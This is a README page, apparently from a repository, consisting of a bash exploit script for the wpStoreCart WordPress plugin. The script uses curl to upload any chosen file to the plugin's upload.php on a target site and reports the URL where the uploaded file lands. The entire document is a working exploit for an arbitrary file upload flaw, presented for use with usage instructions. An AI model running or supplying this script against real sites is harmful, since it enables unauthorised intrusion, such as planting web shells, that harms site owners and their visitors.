README.md
Rendering markdown...
#!/bin/bash
file=$1
target=$2
echo ""
echo "Usage: exploit.sh <file> <target>"
echo ""
response=$(curl -i -X POST -F "Filedata=@$file" https://$target/wp-content/plugins/wpstorecart/php/upload.php)
if echo "$response" | grep -q 200 ; then
echo ""
echo "file uploaded to: https://$target/wp-content/uploads/wpstorecart/$file"
echo ""
else
echo "Something went wrong"
fi